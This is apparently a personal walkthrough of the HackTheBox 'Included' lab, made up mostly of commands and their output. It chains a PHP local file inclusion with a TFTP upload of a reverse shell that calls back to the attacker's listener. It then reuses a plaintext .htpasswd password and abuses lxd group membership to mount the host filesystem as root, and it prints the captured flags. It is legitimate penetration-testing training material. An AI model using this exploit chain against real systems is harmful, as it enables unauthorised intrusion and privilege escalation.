04.INCLUDED
root@oco:~$ sudo openvpn ~/Downloads/starting_point.ovpn
ENUMERATE SERVICES
root@htb:~$ sudo nmap -sV -sC -T4 {targetIP} -p-
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.95.185/?file=home.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
* Typically '-sV' is used with Nmap to determine versions, but that's not always enough.
- adding the -sC is another good way to determine service versions
- the -sC option will run safe scripts which are designed to provide useful
information without being too intrusive or causing harm to the target systems.
* the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
scripts for service enumeration, version detection, and other basic checks.
* use the -Pn option of Nmap when ICMP packets are blocked by the Windows firewall
- the -PN option treats all hosts as online and will skip host discovery
VULNERABILITY SCANNING
root@htb:~$ sudo nmap --script=vuln {targetIP} -p 22,6789,8080,8443,8843,8880
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
* the --script=vuln will run scripts that focus specifically on detecting known
vulnerabilities in the service running on port 6379
- e.g., weak configurations, or known vulnerabilities in the redis service
- if no results are found then the service may be fully patched!
FOOTHOLD
Submit user flag and root flag.
#walk the application
root@htb:~$ BROWSER > {targetSite:port}
...
* looks like the site has a variable named 'file' that could be exploited
- {http://10.129.95.185/?file=home.php}
- this is a common way that developers use to dynamically load pages in
a website
- if not programmed correctly it can often lead to the webpage
being vulnerable to LFI
- it's possible to abuse this IOT read any file that is available on
the system if the include command is not restricted to just
the web directory (e.g. /var/www/html
- also if the user who is running the web server has privileges to read
then anything is possible
- functionality
if ($_GET['file']) {
include($_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
#perform code review
root@htb:~$ BROWSER > {targetSite:port} > CTRL+U
* nothing found
#attempt to load a file that definitely exists on the system and is readable by all users
root@htb:~$ curl 'http://{targetSite}/?file=/etc/passwd'
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
* tftp by default doesn't require user authentication which means anyone can connect and upload or download files
* this might not work if the inclusion already specifies a working directory similar to the sample below
- The __DIR__ parameter returns the directory of the current script
(e.g., /var/www/html), and it concatenates with a given filename. If a
path like /etc/passwd is entered, it becomes /var/www/html/etc/passwd,
which doesn't exist, so the result is a blank page.
if ($_GET['file']) {
include( __DIR__ . $_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
* to bypass this form of restriction, all that is needed is to try path
traversal methods
- ../../../etc/passwd
root@htb:~$ sudo namp -sU -sC 10.129.95.185 -p-
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
root@htb:~$ sudo nmap --script=vuln 10.129.95.185 -p 69
PORT STATE SERVICE
69/tcp closed tftp
#chaning LFI and TFTP vulnerability
#this will provide a reverse shell once the malicious PHP file is uploaded via TFTP
root@htb:~$ ifconfig
...
tun0: {ipAddress}
root@htb:~$ curl https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -o shell.php
root@htb:~$ nano shell.php
...
$ip = '127.0.0.1'; //change this
$port = 1234; //change this
root@htb:~$ sudo apt install tftp
* this is required to communicate with tftp
root@htb:~$ tftp {targetIP}
tftp> status
Connected to 10.129.95.185.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> put shell.php
Sent 5677 bytes in 0.8 seconds
* the tftp user's directory from the LFI dump of /etc/passwd is tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
- the default configuration file for tftpd-hpa is /etc/default/tftpd-hpa.
the default rootdirectory where files will be stored is /var/lib/tftpboot
tftp> quit
root@htb:~$ nc -nlvp 1234
root@htb:~$ curl 'http://{targetIP:port}/?file=/var/lib/tftpboot/shell.php'
root@htb:~$ nc...
Listening on 0.0.0.0 1234
Connection received on {targetI} 56184
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
...
$ python3 -c'import pty;pty.spawn("/bin/bash")'
* this makes the reverse shell somewhat fully interactive
www-data@included:~$
#enumeration
www-data@included:/$ ls -la /var/www/html
ls -la /var/www/html
total 88
drwxr-xr-x 4 root root 4096 Oct 13 2021 .
drwxr-xr-x 3 root root 4096 Apr 23 2021 ..
-rw-r--r-- 1 www-data www-data 212 Apr 23 2021 .htaccess
-rw-r--r-- 1 www-data www-data 17 Apr 23 2021 .htpasswd
www-data@included:/$ cat /var/www/html/.htaccess
cat /var/www/html/.htaccess
RewriteEngine On
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]
#<Files index.php>
#AuthType Basic
#AuthUserFile /var/www/html/.htpasswd
#Require valid-user
www-data@included:/$ cat /var/www/html/.htpasswd
mike:Sheffield19
* The htpasswd file is used to store usernames and passwords for
basic authentication of HTTP users.
* The htpasswd file contains credentials for HTTP users
www-data@included:/$ id mike
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
www-data@included:/$ su mike
Password: Sheffield19
mike@included:/$ ls /home/mike
user.txt
mike@included:/$ cat /home/mike/user.txt
a56ef91d70cfbf2cdb8f454c006935a1
#remove old golang copies
root@htb:~$ sudo apt remove --purge golang-go
root@htb:~$ sudo apt autoremove
#install golang
root@htb:~$ sudo apt search golang-go
golang-1.23-go
* as of writing, the one that works for distro builder go.mod and for the its makefile is go-1.23-go
root@htb:~$ sudo apt install golang-1.23-go
root@htb:~$ export PATH=$PATH:/usr/lib/go-1.23/bin
#privesc
mike@included:/$ id mike
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
* LXD is a management API for LXC containers that allows users in the local
lxd group to perform container-related tasks, without enforcing the calling
user's specific permissions.
root@htb:~$ BROWSER > google.com
search: lxd exploit
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html#lxdlxc-group---privilege-escalation
https://www.hackingarticles.in/lxd-privilege-escalation/
* Any user in the local lxd group can escalate to root on the host system
without needing sudo rights or a password, even when using the
LXD snap package
root@htb:~$ BROWSER > https://images.lxd.canonical.com/
Alpine 3.18 amd64 cloud 2025-05-07 (00:23)
* Download the following:
- lxd.tar.xz – Contains metadata and configuration for the LXC/LXD image.
- rootfs.squashfs – Contains the root filesystem of the Alpine image.
#compile the distrobuilder for bulding the alpine image locally
root@htb:~$ sudo apt install -y debootstrap rsync gpg squashfs-tools
root@htb:~$ git clone https://github.com/lxc/distrobuilder
root@htb:~$ cd distrobuilder
root@htb:~$ make
...
* The go directive in go.mod only supports major and minor versions
(e.g., 1.21, 1.22) — not patch versions like 1.23.7.
#fix the error (if required)
root@htb:~$ find / -iname go.mod 2>/dev/null
/home/str1f3/distrobuilder/go.mod
root@htb:~$ nano /home/str1f3/distrobuilder/go.mod
go 1.23 //change go 1.23.7 to 1.23 as it only supports major and minor versions NOT PATCHED VERSION NUMBER
#build the container
root@htb:~$ mkdir -p $HOME/ContainerImages/alpine/
root@htb:~$ cd $HOME/ContainerImages/alpine/
root@htb:~$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
root@htb:~$ cp ~/Downloads/lxd.tar.xz ~/Downloads/rootfs.squashfs .
root@htb:~$ ls
alpine.yaml lxd.tar.xz rootfs.squashfs
root@htb:~$ sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
* change build-lxd to lxc
root@htb:~$ ls
alpine.yaml lxd.tar.xz meta.tar.xz rootfs.squashfs rootfs.tar.xz
root@htb:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
mike@included:/$ cd /tmp
mike@included:/$ wget http://10.10.14.215:8080/lxd.tar.xz
mike@included:/$ wget http://10.10.14.215:8080/rootfs.squashfs
mike@included:/$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
<ge import lxd.tar.xz rootfs.squashfs --alias alpine
mike@included:/tmp$ lxc image list
+--------+--------------+--------+-------------------------------------------------+--------+---------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------------------------+--------+---------+------------------------------+
| alpine | c1a6af9e2da9 | no | Alpinelinux 3.18 x86_64 (cloud) (20250509_0024) | x86_64 | 20.79MB | May 10, 2025 at 2:25am (UTC) |
+--------+--------------+--------+-------------------------------------------------+--------+---------+------------------------------+
#create the container w/ privileges
mike@included:/tmp$ lxc init alpine privesc -c security.privileged=true
Creating privesc
mike@included:/tmp$ lxc list
+---------+---------+------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+------------+-----------+
| privesc | STOPPED | | | PERSISTENT | 0 |
+---------+---------+------+------+------------+-----------+
mike@included:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
<st-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
mike@included:/tmp$ lxc start privesc
lxc exec privesc /bin/sh
mike@included:/tmp$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # ls /mnt/root/root
root.txt
~ # cat /mnt/root/root/root.txt
c693d9c7499d9f572ee375d4c14c7bcf
* the filesystem is mounted at /mnt/root
Last updated